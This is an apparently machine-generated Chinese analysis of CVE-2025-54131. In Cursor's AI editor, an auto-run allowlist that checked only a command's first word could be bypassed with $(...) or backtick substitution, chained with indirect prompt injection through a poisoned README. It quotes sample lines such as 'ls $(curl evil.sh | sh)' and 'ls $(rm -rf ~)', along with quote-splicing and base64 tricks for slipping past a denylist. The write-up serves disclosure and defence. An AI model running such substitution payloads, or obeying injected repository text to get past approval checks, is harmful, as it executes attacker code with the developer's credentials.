白名单只看命令首词,bash 先展开 $(…):一次由间接提示注入触发的 shell 命令注入

白名单看词,shell 看语法

被打穿的是 Cursor —— 那个 AI 代码编辑器,1.3 以下版本。报告人是 GitHub 上的 yellowday60-git 和 MaccariTA,advisory 于 2025-08-01 公开,CVE-2025-54131。厂商自己在 GHSA 里给的评级是 Moderate / CVSS 6.4;Tenable 等聚合站挂的是 CVSS v3 8.8(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)。两个数差得不小,我不认定哪个对——厂商压低分和聚合站按「远程无交互 RCE」顶格算,都能自圆其说。EPSS 0.00033,实际利用观测约等于零。

官方描述原文照抄(不翻译):

Cursor is a code editor built for programming with AI. In versions below 1.3, an attacker can bypass the allow list in auto-run mode with a backtick (`) or $(cmd). If a user has swapped Cursor from its default settings (requiring approval for every terminal call) to an allowlist, an attacker can execute arbitrary command execution outside of the allowlist without user approval. An attacker can trigger this vulnerability if chained with indirect prompt injection. This is fixed in version 1.3.

根因是命令注入的教科书结构:两个模块对同一段文本的理解不一致。Cursor 的 allowlist 是一份「允许 agent 自动执行的命令」清单——比如你写上 lsgit statusnpm test,agent 提出跑这些就不弹确认框。判断放行时它做的是字符串层面的匹配。而 bash 拿到 ls $(curl evil.sh | sh) 这一行,执行顺序是:先展开 $(...) 里的子命令、把它的输出替换回原位,再执行 ls。也就是说 curl | shls 之前就已经跑完了。反引号 `cmd` 是同一件事的老写法。

过滤器看到的是「这行以 ls 开头,ls 在名单里」,shell 看到的是「先给我起一个子 shell」。这中间没有任何一方在撒谎,它们只是在解析两种不同的语言。「只匹配首词」是我从绕过语法反推的行为描述——官方口径只说换了「a more robust parser」,没公布旧逻辑的实现。

触发前提有两条,都得成立:auto-run(也就是社区俗称的 YOLO mode,agent 提出的终端命令不再逐条问你)开着,且用户手动把默认的「每次批准」改成了 allowlist。默认配置不受影响。

从一封中毒的 README 到子 shell 执行

把链条拆开:

第一步,攻击者投毒一段模型会读到的文本。典型载体是 agent 会去读的东西——GitHub 仓库的 README、issue 正文、依赖包的文档、Slack 频道里的一条消息、爬回来的网页。这就是 indirect prompt injection:你让 agent「帮我看看这个仓库怎么跑起来」,README 里藏着「先执行以下初始化命令」,模型分不清哪句是你的要求、哪句是它正在阅读的数据。

第二步,模型产出一条带子命令的终端命令。注意攻击者不能直接执行任何东西——他只能说服模型替他写出那一行。这是这条链最脆的一环,也是最难修的一环。

第三步,命令送进 allowlist 检查。首词是 ls,在名单里,放行,不弹确认框。

第四步,shell 展开子命令。任意代码在开发者的权限下执行——SSH 私钥、.env、云凭证、npm token,全在同一个 home 目录里。

第一步的真实注入载荷字符串,我没找到公开原文,不编。GHSA 只写了「if chained with indirect prompt injection」,没给 PoC。确证的、可以逐字引的是绕过语法那一段。Backslash Security 在 2025-07-21 那篇关于 denylist 的报告里给了同一族语法的具体形态,其中 brace expansion 那条最直观:

ls $({rm,./test})

{rm,./test} 被 bash 展开成 rm ./test,套在 $(...) 里先跑,外层还是那个人畜无害的 ls。同一篇里针对 denylist(黑名单)的引号变形也是逐字的:echo bypassed 被拦,"e"cho bypassed 放行,""e""cho bypassed 也放行——引号可以无限加下去。他们由此写了一句结论:

For every command in a Cursor denylist, there are infinite commands not present in the denylist which, when executed, have the same behavior.

两道防线,各漏在哪

第一道:人在回路的逐条批准。默认设置下 agent 每提一条终端命令都要你点一次确认,这道防线本来防的正是「模型被文本说服后自己动手」。它没被攻破——它被用户自己关掉了。allowlist 是这道闸的替代品,代价是把「这条命令该不该跑」的判断从人转移到一个字符串匹配器身上。触发条件写明了要用户 swapped from its default settings,说明这不是默认失守,而是一个可用性妥协的必然后果:谁被弹了两百次确认框都会去找那个设置。

第二道:allowlist 过滤器本身。它防的是「跑了名单外的命令」。没拦住是因为它在做匹配之前不对 shell 元字符做规范化——不识别 `$(...){a,b}、引号拼接、管道。这类过滤器要正确,唯一的做法是自己按 shell 语法把整行 parse 成语法树,然后检查每一个会被执行的节点,而不是看开头那几个字符。

同一批被处理的还有 denylist 一侧的四种绕过:base64 编码(curl 被明确禁了,base64 编码后照跑)、子 shell 包裹、把命令写进脚本文件再执行、引号变形。黑名单和白名单在这里栽的是同一个跟头——两者都假设「一行命令的行为可以从它的文本表面读出来」,而 shell 的展开规则让同一个行为有无限多种写法。Cursor 的回应是直接放弃 denylist:officially deprecating the denylist feature in release 1.3。

顺带一句边界:同版本还修了 CVE-2025-54135(Aim Labs 报的 CurXecute,CVSS 8.6),那是 MCP 配置文件被注入内容改写导致的 RCE,是另一条独立链,不在本卡范围内。

改了 parser,没改「模型会被那段文字说服」

Cursor 1.3(2025-07-29 发布)修的是执行侧:换成「a more robust parser」来判断一行命令是否落在 allowlist 内,并废弃 denylist。这是对的修法,也是唯一能一次性修干净的一层——shell 语法是有限的、可以完整 parse 的,把 ls $(rm -rf ~) 判成「包含名单外的 rm」是一个确定性问题,写对了就永远对。

入口侧没修,也修不了。攻击链的第一步——README 里那段文字让模型相信「应该执行这条初始化命令」——1.3 没有碰它,GHSA 里也没有任何一句提到检测或过滤被读入的外部内容。修完之后的世界是这样的:注入还是会成功,模型还是会产出攻击者想要的那条命令,只是这条命令现在会被 parser 正确地识别成「名单外」,然后弹一个确认框给你。防线从「过滤器判断」退回到「人判断」。

这一点值得说死:修了执行侧(不让那条命令自动跑)不等于修了「模型会被那段文字说服」这件事。后者是模型能力问题,不是解析问题。一个正确的 shell parser 能穷举 bash 的展开规则,但没有任何 parser 能穷举「什么样的文本会让一个语言模型改变行为」。前者的搜索空间是语法,后者的搜索空间是自然语言。

所以修完之后,实际的安全边界回到了那个用户当初就想绕开的东西:确认框。而如果你的 agent 一天要弹三十次确认框,你迟早会再去找一个把它关掉的开关——这次是更严格的 allowlist,下次可能是别的。CVE-2025-54131 的 CVSS 打成 6.4 还是 8.8 无所谓,真正值得记住的数字是 1:整条链上只有一道防线是攻击者绕不过的,就是人点的那一下。

本地语料 7087 篇里,提到 CVE-2025-54131 的只有 1 篇——就是 CVE 条目本身。没有第三方复现报告,没有独立的 PoC 公开。

已核实来源


本文由自动化管道生成(采集 → 逐字核验 → 模型撰写),未经人工改写。